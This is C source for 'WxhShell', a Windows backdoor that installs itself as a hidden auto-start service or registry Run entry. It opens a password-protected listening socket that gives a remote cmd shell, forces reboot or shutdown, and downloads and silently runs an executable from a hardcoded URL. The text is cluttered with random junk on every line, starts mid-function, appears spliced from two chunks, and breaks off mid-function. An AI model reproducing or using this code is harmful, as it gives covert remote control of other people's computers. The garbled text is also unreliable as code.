    if(Boot(SHUTDOWN)) )h(Dt(2Wm  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); g@WGd(o0)  
    else { P3[+c4  
    closesocket(wsh); h&|wqna  
    ExitThread(0); ZLA&<]Ad"$  
    } c*nH=  
    break; V\axOz!  
    } Zf~ [4Eeb  
  // 获取shell y w"Tw  
  case 's': { 4Q0@\dR9  
    CmdShell(wsh); X1*6qd+E  
    closesocket(wsh); S312h'K j  
    ExitThread(0); ]h (TZu  
    break; ,e"A9ik#  
  } \'( @{  
  // 退出 YJgw%UVJ5m  
  case 'x': { MWSx8R)PN  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); K GlO;Q~7  
    CloseIt(wsh); f_1#>]  
    break; <j1l&H|ux,  
    } k*bfq?E a  
  // 离开 _]E ~ci}  
  case 'q': { W(*:8}m,p  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); cvn4Q-^  
    closesocket(wsh); myH:bc>6  
    WSACleanup(); p},6W,f  
    exit(1); qB3{65  
    break; N" |^AF  
        } ? WWnt^  
  } R7us9qM4e  
  } SdUtAC2  
/'1UfjW>  
  // 提示信息 b2 ~~ !C  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); yWIM,2x}  
} 6G"AP~|0  
  } K5(?6hr;  
ssW+'GD  
  return; EWN$ILdD  
} cHK)e2 r  
9bjjo;A  
// shell模块句柄 BQf}S +  
int CmdShell(SOCKET sock) "}D uAs  
{ ,_`\c7@  
STARTUPINFO si; JnCY O^Qj  
ZeroMemory(&si,sizeof(si)); `"[VkQFB/  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?mY )m +  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ?n/:1LN,  
PROCESS_INFORMATION ProcessInfo; , j ,[4^  
char cmdline[]="cmd"; 1W-t})!a  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Z~g~,q  
  return 0; ,oDZ:";  
} -;T>4B=  
O7j$bxk/^  
// 自身启动模式 O:q}<ljp  
int StartFromService(void) ?7G?uk]3,@  
{ g=pz&cz;>\  
typedef struct 8x'rNb  
{ H7"I+qE-G  
  DWORD ExitStatus; 5<4njo?k  
  DWORD PebBaseAddress; }*$-rieg  
  DWORD AffinityMask; /{7x|ay]  
  DWORD BasePriority; X=(8t2  
  ULONG UniqueProcessId; [x!T<jJ  
  ULONG InheritedFromUniqueProcessId; *%ZfE,bu8<  
}   PROCESS_BASIC_INFORMATION; 7* ^\mycv  
=0,")aa!  
PROCNTQSIP NtQueryInformationProcess; yt  C{,g>  
 'm}~  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; -N5r[*>  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; N&S :=x:$S  
`]WU=Ss  
  HANDLE             hProcess; {_3ZKD(\  
  PROCESS_BASIC_INFORMATION pbi;  ceVej'  
N3vk<sr@  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); {FQ dDIj#  
  if(NULL == hInst ) return 0; ~,R_  
K]@6&H-b|  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); /RmLV  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); BEPDyy  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ,a$LT   
5/:Zj,41{  
  if (!NtQueryInformationProcess) return 0; E_WiQ?p   
@Z@yI2#e  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); !bH-(K{S6  
  if(!hProcess) return 0; a<!g*UVL0M  
k>VP<Zm13  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 28X)s!W'  
?]kIztH  
  CloseHandle(hProcess); 3m7$$ N|  
LdWeI  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); |[!xLqG  
if(hProcess==NULL) return 0; 3p!R4f)GN  
{!^HG+  
HMODULE hMod; ^N Et{]x  
char procName[255]; ]3 0 7 .  
unsigned long cbNeeded; + 6r@HK`,t  
Gjy'30IF  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); cty~dzX^  
oH6(Lq'q  
  CloseHandle(hProcess); 3w{ i5gGn  
j?w7X?1(  
if(strstr(procName,"services")) return 1; // 以服务启动 'kW`62AX  
?A62VV51CN  
  return 0; // 注册表启动 A|RAMO@le  
} /"iYEr%_  
ynP^|Ou  
// 主模块 =N7N=xY  
int StartWxhshell(LPSTR lpCmdLine) +#&2*nY  
{ K3 ]hUe#  
  SOCKET wsl; &rw|fF|]  
BOOL val=TRUE; ) 3Y E$,  
  int port=0; db#y]>^l  
  struct sockaddr_in door; !EpP-bq'*  
hCr7%`  
  if(wscfg.ws_autoins) Install(); o6vm(I%  
cE]tvL:g  
port=atoi(lpCmdLine); PFEi=}Y@((  
mGL%<4R,  
if(port<=0) port=wscfg.ws_port; NO* 1km[#  
Atfon&^  
  WSADATA data; f0wQn09  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ,C=Fgxw(  
Iupk+x>  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   O^:Rm=,$  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ~f%gW  
  door.sin_family = AF_INET; [%QJ6  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); L}:u9$w  
  door.sin_port = htons(port); 7~|o_T  
Q'Q+mt8u5  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 38Wv&!  
closesocket(wsl); xhqIE3gd  
return 1; {mkYW-4Se  
} SrHRpxy  
>mt<`s  
  if(listen(wsl,2) == INVALID_SOCKET) { KtV_DjH:  
closesocket(wsl); t5eux&C  
return 1; IS'=%qhC`  
} z@iY(;Qo  
  Wxhshell(wsl); VK ?,8Y  
  WSACleanup(); yiI&>J))  
=AR'Pad  
return 0; #Va@4<4r  
]@WJ&e/'@  
} ,"}'NH@  
^PWZ1.T  
// 以NT服务方式启动 o'D6lkf0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) q)!{oi{x(  
{ P5aHLNit  
DWORD   status = 0; X8*q[@$  
  DWORD   specificError = 0xfffffff; YQYN.\  
"=/XIM.  
  serviceStatus.dwServiceType     = SERVICE_WIN32; "$Rl9(}  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; = <33(   
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; U15Hq*8Z  
  serviceStatus.dwWin32ExitCode     = 0; OwDjUKeN  
  serviceStatus.dwServiceSpecificExitCode = 0; ]p#Zdm1EL  
  serviceStatus.dwCheckPoint       = 0; A?6b)B/e?  
  serviceStatus.dwWaitHint       = 0; e1+ %c9UQ  
Ui1K66{  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); e#W@ep|n  
  if (hServiceStatusHandle==0) return; pGsVO5M?  
GbZA3.J]yl  
status = GetLastError(); BJlF@F#  
  if (status!=NO_ERROR) J.O;c5wL  
{ fT'A{&h|U  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 7 H<_ wW  
    serviceStatus.dwCheckPoint       = 0; 78NAcP~6c  
    serviceStatus.dwWaitHint       = 0; 2Jj`7VH>  
    serviceStatus.dwWin32ExitCode     = status; tpCEWdn5  
    serviceStatus.dwServiceSpecificExitCode = specificError; F]Y Pq  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2gFQHV  
    return; rg\|-_.es'  
  } *W i(%  
{`1zVTp[<  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; dn`#N^Od  
  serviceStatus.dwCheckPoint       = 0; Y3-15:-  
  serviceStatus.dwWaitHint       = 0; dn5T7a~   
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); BKJW\gS2  
} T`vj6F  
vguqk!eo4  
// 处理NT服务事件,比如:启动、停止 &, K;F'  
VOID WINAPI NTServiceHandler(DWORD fdwControl) xi|iV1A  
{ 6%fU}si,  
switch(fdwControl) 9^jO^[>  
{ q 2= ^l  
case SERVICE_CONTROL_STOP: jPbL3"0A&  
  serviceStatus.dwWin32ExitCode = 0; 6:h!gY  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Ou,B3kuQ+  
  serviceStatus.dwCheckPoint   = 0; ."=Bx2  
  serviceStatus.dwWaitHint     = 0; x#pT B.  
  { sy]1Ba%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )b5MP1H  
  } R':a,6 O  
  return; I-+D+DhRx  
case SERVICE_CONTROL_PAUSE: Bv/v4(G5g  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; dyg1.n#M}  
  break; m2\ZnC  
case SERVICE_CONTROL_CONTINUE: Aja'`Mu  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Y}F+4   
  break; sd#a_  
case SERVICE_CONTROL_INTERROGATE: R#Ss_y  
  break; 9#pl BtQ**  
}; ~sk 4v:-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [j:%O|h  
} ]Ub?Wo7F?  
QDSB <0j  
// 标准应用程序主函数 ;2& (]1X  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Z=wLNmH  
{ wn|Sdp  
Rrk3EL  
// 获取操作系统版本 Riu0;U( \  
OsIsNt=GetOsVer(); z^=9%tLJ  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 8<IO X  
T4w`I;&v  
  // 从命令行安装 -w^E~J0*L  
  if(strpbrk(lpCmdLine,"iI")) Install(); Rz%+E0  
/|hKZTZJdN  
  // 下载执行文件 b+3{ bE  
if(wscfg.ws_downexe) { lZ E x0  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Fe`$mtPu.  
  WinExec(wscfg.ws_filenam,SW_HIDE); rN_\tulOF  
} $40tAes9  
|P~TZ  
if(!OsIsNt) { |<9 R%  
// 如果时win9x,隐藏进程并且设置为注册表启动 >CNH=  
HideProc(); ,zz+s[ZH7O  
StartWxhshell(lpCmdLine); }!5"EL(L80  
} :C>slxY  
else 1 ^Ci$ra  
  if(StartFromService()) 0FHN  
  // 以服务方式启动 &5c)qap;n  
  StartServiceCtrlDispatcher(DispatchTable); LB U]^t@ M  
else =d&  
  // 普通方式启动 9boNB "h]T  
  StartWxhshell(lpCmdLine); $)z(4Ev  
rS8/_'  
return 0; Ws.F=kS>h  
} aJK8G,Vk  
FL"7u2rh,  
oB#KR1 >%7  
7s1FJm=Y/  
=========================================== op/|&H'  
^JJ*pT:  
m".8-  
Wyw/imr  
Z^>{bW  
+{4ziqYj  
" M7BJ$fA0E  
j[ kg9z  
#include <stdio.h> GUJx?V/[  
#include <string.h> mfg{% .1  
#include <windows.h> $wub)^  
#include <winsock2.h> josc  
#include <winsvc.h> OpW4@le_r  
#include <urlmon.h> 4&&((H  
U# G0  
#pragma comment (lib, "Ws2_32.lib") q`{crY30  
#pragma comment (lib, "urlmon.lib") Xg_M{t  
~K&ko8  
#define MAX_USER   100 // 最大客户端连接数 )C|[j@MD  
#define BUF_SOCK   200 // sock buffer u|BD=4*  
#define KEY_BUFF   255 // 输入 buffer Sbc  
[daUtKz  
#define REBOOT     0   // 重启 [>U'P1@ql  
#define SHUTDOWN   1   // 关机 +Vl\lL -  
5RrzRAxq  
#define DEF_PORT   5000 // 监听端口 J-P> ~ L"  
ifHQ2Ug 9  
#define REG_LEN     16   // 注册表键长度 \_bk+}WJ]s  
#define SVC_LEN     80   // NT服务名长度 om@GH0o+  
Po~{Mpe  
// 从dll定义API ABuK`(f.  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 2? 9*V19yu  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); |08b=aR6ro  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); wJ,l"bnq  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); e* {'A  
j *B,b4  
// wxhshell配置信息 4! ]28[2B6  
struct WSCFG { TmZ sC5  
  int ws_port;         // 监听端口 :08b&myx  
  char ws_passstr[REG_LEN]; // 口令 >r J9^rS  
  int ws_autoins;       // 安装标记, 1=yes 0=no (v+nn1,  
  char ws_regname[REG_LEN]; // 注册表键名 <H03i"Z/S  
  char ws_svcname[REG_LEN]; // 服务名 (1Q G]1q  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 $o2H#"  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 `=TV4h4  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 b9`vYnLk  
int ws_downexe;       // 下载执行标记, 1=yes 0=no eLPWoQXt  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 90<z*j$EK  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 b/"&E'5-`\  
1X. E:  
}; moz*=a  
r Z)?uqa  
// default Wxhshell configuration '9@} =pE  
struct WSCFG wscfg={DEF_PORT, noI>Fw<V  
    "xuhuanlingzhe", dA4DW  
    1, &gGh%:`B  
    "Wxhshell", '$nm~z,V  
    "Wxhshell", fib#)KE  
            "WxhShell Service", EGJ d:>k  
    "Wrsky Windows CmdShell Service", F{,<6/ayRz  
    "Please Input Your Password: ", dZMf5=tb  
  1, "wqN,}bj\  
  "http://www.wrsky.com/wxhshell.exe", }K F f  
  "Wxhshell.exe" pb8sx1.j;  
    }; Y8l 8B>  
e97Ll=>  
// 消息定义模块 nev@ykP6  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 4zo^ b0v  
char *msg_ws_prompt="\n\r? for help\n\r#>"; kn 5X:@{  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; P6G&3yPt  
char *msg_ws_ext="\n\rExit."; zvEofK  
char *msg_ws_end="\n\rQuit."; `|rF^~6(dR  
char *msg_ws_boot="\n\rReboot..."; NQ&\t[R[  
char *msg_ws_poff="\n\rShutdown..."; t,P_&0X  
char *msg_ws_down="\n\rSave to "; esh7*,7-z*  
M0) q  
char *msg_ws_err="\n\rErr!"; rg5ZxN|g  
char *msg_ws_ok="\n\rOK!"; 3:]c>GPQ  
F x 4s)(  
char ExeFile[MAX_PATH]; ?Sj >b   
int nUser = 0; THN/ /}d  
HANDLE handles[MAX_USER]; bfV&z+Rv-5  
int OsIsNt; .m gm1zz  
a*kvU"]  
SERVICE_STATUS       serviceStatus; 6< hE]B)  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; MJ?fMR@  
<@4 48,9&  
// 函数声明 3u,CI!  
int Install(void); * a ?qV  
int Uninstall(void); ' pN[H\Ia  
int DownloadFile(char *sURL, SOCKET wsh); K HO@"+  
int Boot(int flag); )hy(0 D  
void HideProc(void); '-KYeT\;  
int GetOsVer(void); (/ qOY  
int Wxhshell(SOCKET wsl); gJFx#s0?6.  
void TalkWithClient(void *cs); 7B@ 1[  
int CmdShell(SOCKET sock); Vu= e|A#  
int StartFromService(void); %a\L^w)Xn  
int StartWxhshell(LPSTR lpCmdLine); h<0&|s*a)  
qG)M8xk  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); G2y`yg  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ]. E/s(p  
QWQJSz5  
// 数据结构和表定义 [:BD9V  
SERVICE_TABLE_ENTRY DispatchTable[] = CqVeR';2  
{ zB68%  
{wscfg.ws_svcname, NTServiceMain}, Jk=_8Xvr`  
{NULL, NULL} eHl)/='  
}; Q8Fqf ;4  
8\VP)<<  
// 自我安装 t9eEcq Mg  
int Install(void) <p5?yF  
{  DJJd_  
  char svExeFile[MAX_PATH]; 1=L5=uz1d:  
  HKEY key; E (.~[-K4  
  strcpy(svExeFile,ExeFile); Liv.i;-qE  
%M5{-pJ|C  
// 如果是win9x系统,修改注册表设为自启动 /g)(  
if(!OsIsNt) { *Roqie  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <8iu:nR  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); wLa8&E[  
  RegCloseKey(key); /e;E+   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { H8!)zZ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *!r"+?0gN  
  RegCloseKey(key); [/Sk+ID  
  return 0; SVn $!t  
    } hA=}R.gi  
  } )}$]~ f4R  
} 2DNB?,uP,'  
else { br,xwc  
{\vcwMUzZ  
// 如果是NT以上系统,安装为系统服务 EC/=JlL`5  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); z7_h$v  
if (schSCManager!=0) Q2Dh(  
{ 25Uw\rKeO  
  SC_HANDLE schService = CreateService [NoOA  
  ( (B0QBDj!  
  schSCManager, @]YEOk-  
  wscfg.ws_svcname, Yb\d(k$h  
  wscfg.ws_svcdisp, %v4*$E!f  
  SERVICE_ALL_ACCESS, i`}!<{k  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 2. q\!V}yQ  
  SERVICE_AUTO_START, \SN>Yy  
  SERVICE_ERROR_NORMAL, s`en8%  
  svExeFile, &Jd_@F#J  
  NULL, FQ"ED:lks  
  NULL, n0QHrIf{  
  NULL, WD@v<Wx)  
  NULL, T3NH8nH9"z  
  NULL u'T?e+=  
  ); BtrMv6  
  if (schService!=0) {>Hn:jW<.  
  { f#McTC3C  
  CloseServiceHandle(schService); &2nICAN[  
  CloseServiceHandle(schSCManager); y@(EGfI  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ~^PNMZk  
  strcat(svExeFile,wscfg.ws_svcname); udS&$/&GH  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { \dbaY:(  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); cTQ._|M  
  RegCloseKey(key); &b'{3o_KN  
  return 0; rZ&li/Z  
    } @&x'.2[nv  
  } P%;lHC #i  
  CloseServiceHandle(schSCManager); oB(9{6@N  
} mV0u:ws  
} 8)>4ZNXz  
N cp   
return 1; 8JXS:J.|v  
} < lUpvr  
SmAii}-jf  
// 自我卸载 xiV!\Z}  
int Uninstall(void) N85ZbmU~  
{ Cj=_WWo  
  HKEY key; p,tkVedR  
*zMt/d*<&  
if(!OsIsNt) { C~WWuju'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !DUOi4I  
  RegDeleteValue(key,wscfg.ws_regname); 9fWR8iV  
  RegCloseKey(key); X3] [C  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #ro$$I;  
  RegDeleteValue(key,wscfg.ws_regname); sm{/S*3  
  RegCloseKey(key); )%<,JD  
  return 0; x=-(p}0o;<  
  } ^M\X/uq$E  
} fCZ"0P3(  
} ~pHuh#>  
else { `(DHa=s1  
NV==[$(r  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); }=JS d@`_  
if (schSCManager!=0) Z ;[xaP\S  
{ ^Nu j/  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); C ^c <s  
  if (schService!=0) v2a(yH  
  { ^*+j7A.n  
  if(DeleteService(schService)!=0) { "Pu917_P  
  CloseServiceHandle(schService); H?FiZy*[Y  
  CloseServiceHandle(schSCManager); .Yvy37n((  
  return 0; ^=a:{["@!  
  } H0jbG;  
  CloseServiceHandle(schService); h6bvUI+|h  
  } H/k]u)Gtv  
  CloseServiceHandle(schSCManager); `GlOl-  
} 0:-z+`RHE  
} <FAbImE}  
SrGJ#K&%  
return 1; w `+.F;}s  
} 0!RP7Sx  
'+ mI  
// 从指定url下载文件 }gFa9M<  
int DownloadFile(char *sURL, SOCKET wsh) [k75+#'  
{ =T#hd7O`V  
  HRESULT hr; )T?BO  
char seps[]= "/"; t,'J%)j  
char *token; -m[ tYp,q  
char *file; 0LYf0^P  
char myURL[MAX_PATH]; .JTRFk{W  
char myFILE[MAX_PATH]; Z op/ MeI  
>o%X;U 3  
strcpy(myURL,sURL); 0M)\([W9&  
  token=strtok(myURL,seps); ~C3J-z<  
  while(token!=NULL) LN5BU,4=  
  { L@jpid95  
    file=token; P[$idRS&  
  token=strtok(NULL,seps); Z\]LG4N?  
  } vl6|i)D  
!)CY\c4}d>  
GetCurrentDirectory(MAX_PATH,myFILE); vO53?vN[m9  
strcat(myFILE, "\\"); ]Nw ]po+  
strcat(myFILE, file); "=KFag  
  send(wsh,myFILE,strlen(myFILE),0); uhnnjI  
send(wsh,"...",3,0); 9$qw&j[  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); NH:Bdl3  
  if(hr==S_OK) 1|s` z  
return 0; b|may/xWH  
else Tr4\ `a-i  
return 1; Cs,Cb2[  
qsN_EMgbdn  
} ydRS\l  
\VI0/G)L  
// 系统电源模块 gNZ"Kr o6  
int Boot(int flag) T,Q7 YI  
{ ?)-anoFyVW  
  HANDLE hToken; ]/3!t=La  
  TOKEN_PRIVILEGES tkp; : ;hm^m]Y  
~(NFjCUY?  
  if(OsIsNt) { PI9aKNt  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ;9-J=@KY4  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); bE=[P}E  
    tkp.PrivilegeCount = 1; V\Y, 4&bI  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 1W-kZ(e  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); m;IKV,  
if(flag==REBOOT) { #,FXc~V  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) (KfQ'B+  
  return 0; C43I(.2g  
} nE0I[T(  
else { - K"L6m|  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) QW_v\GHx  
  return 0; s0h0Ep ED  
} X4Uy3TV>  
  } [Z;H= `  
  else { P]2 /}\f  
if(flag==REBOOT) { Uxe]T  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Y(ClG*6 ++  
  return 0; vS:=%@c>ta  
} \q^ dhY>)  
else { .lI.I  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) lQt,(@7]  
  return 0; LW/> %  
} nDLiER;U  
} x[BA <UNO  
9I#a{%A:  
return 1; m1tc="j  
} .Rb1%1bdc  
@kba^z  
// win9x进程隐藏模块 qjf4G[]!  
void HideProc(void) 3.=o}!  
{ :Fh_Ya0  
{n<1uh9~$8  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); w2`JFxQ^x  
  if ( hKernel != NULL ) hsQ*ozv[)  
  { k>E/)9%ep2  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Tv% Z|%*  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); uhwCC  
    FreeLibrary(hKernel); YPw=iF]  
  } 3#F"UG2,_  
jq|fI P  
return; ]*{tno  
} \@^` G  
=#%Vs>G  
// 获取操作系统版本 1=~##/at  
int GetOsVer(void) FuFICF7+C  
{ 3Ea/)EB]  
  OSVERSIONINFO winfo; G?:5L0g  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); &>ykkrY  
  GetVersionEx(&winfo); Dk g-y9  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) =}F$r5]  
  return 1; C3K")BO!  
  else q~xs4?n1U  
  return 0; ~(^?M  
} NnY+=#j7L  
ZM57(D  
// 客户端句柄模块 3nUC,T%  
int Wxhshell(SOCKET wsl) Cg^1(dBd[9  
{ /86PqKU(P  
  SOCKET wsh; )hfI,9I~  
  struct sockaddr_in client; ] ; B`'Ia  
  DWORD myID; L@G~9{U>  
qa?0GTAS  
  while(nUser<MAX_USER) Qf}}/k|)k  
{ v%E!  
  int nSize=sizeof(client); QY1|:(  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); X@:@1+U  
  if(wsh==INVALID_SOCKET) return 1; [|L~" BB  
3lefB A7  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); [-3x*?Ju  
if(handles[nUser]==0) ;k,#o!>  
  closesocket(wsh); kfkcaj4l]  
else 9?+?V}o  
  nUser++; L#u!T)!zW  
  } tI+P&L"  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 5?Rzyfwk|  
()(/9t  
  return 0; h09fU5l  
} *<ww~^a  
0G #s/u#  
// 关闭 socket oP`Qyk  
void CloseIt(SOCKET wsh) E~c>LF_]Q  
{ ~s) `y2Y  
closesocket(wsh); <;zcz[~  
nUser--; V7,;N@FL  
ExitThread(0); p-2PC{% t|  
} ko`KAU<T_  
ac/<N%  
// 客户端请求句柄 b|u0a6  
void TalkWithClient(void *cs) M}N[> ,2'  
{ x^6b$>1  
hixG/%aO  
  SOCKET wsh=(SOCKET)cs; ifcC [.im  
  char pwd[SVC_LEN]; :<R"Kk@  
  char cmd[KEY_BUFF]; =.t3|5U8  
char chr[1]; !2]'S=Y  
int i,j; Bx ru7E"  
G!5~`v  
  while (nUser < MAX_USER) { "Rr650w[  
kZ<"hsh,Y'  
if(wscfg.ws_passstr) { >vfbXnN  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); u=PYm+q{  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); fz W!-  
  //ZeroMemory(pwd,KEY_BUFF); :o}LJc)|  
      i=0; 75*q^ui  
  while(i<SVC_LEN) { +YCKd3/  
\CZD.2p#&  
  // 设置超时 #;F*rJ[XY  
  fd_set FdRead; Tu_4kUCR!f  
  struct timeval TimeOut; Ks\\2$Cm7  
  FD_ZERO(&FdRead); e>!=)6[*  
  FD_SET(wsh,&FdRead); 2#`9OLu8X  
  TimeOut.tv_sec=8; Xx e07J~  
  TimeOut.tv_usec=0; w)xfP^M#  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); +VRM:&  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 2HF_kYZ  
fW3NH7aUG  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); M|}V6F_y  
  pwd=chr[0]; ,]_<8@R  
  if(chr[0]==0xd || chr[0]==0xa) { J6RzN'j  
  pwd=0; 3&KRG}5  
  break; tqwAS)v=  
  } + vO; J  
  i++; 6QG"~>v7'(  
    } 4)NbQ[  
K%WG[p\Eu  
  // 如果是非法用户,关闭 socket 0artR~*}  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); EdC/]  
} o&:'MwU  
U~q2j#pJ  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 87yZd8+)  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); dd:vQOF;  
B*AB@  
while(1) { (e _l1O?  
qw6i|JM%  
  ZeroMemory(cmd,KEY_BUFF); I T?~`vi  
xt1Ug~5  
      // 自动支持客户端 telnet标准   \x<i6&.  
  j=0; lkJ"f{4f  
  while(j<KEY_BUFF) { $tB `dDj  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); T$*#q('1"}  
  cmd[j]=chr[0]; AfvIzsT0  
  if(chr[0]==0xa || chr[0]==0xd) { sr-tZ^d5S?  
  cmd[j]=0; 3#N`n |UgC  
  break; usR+ZQaA  
  } ErxvGB(2  
  j++; dry>TXG*  
    } Q)2i{\GPVn  
,Rdw]O  
  // 下载文件 V)A7q9Bum  
  if(strstr(cmd,"http://")) { q0L\{  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); uP$C2glyz  
  if(DownloadFile(cmd,wsh)) i'p6#  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1'f&  
  else rUh2[z8:  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); r7-H`%.  
  } (/KeGgkhv  
  else { G124! ^  
.S*VYt%K7  
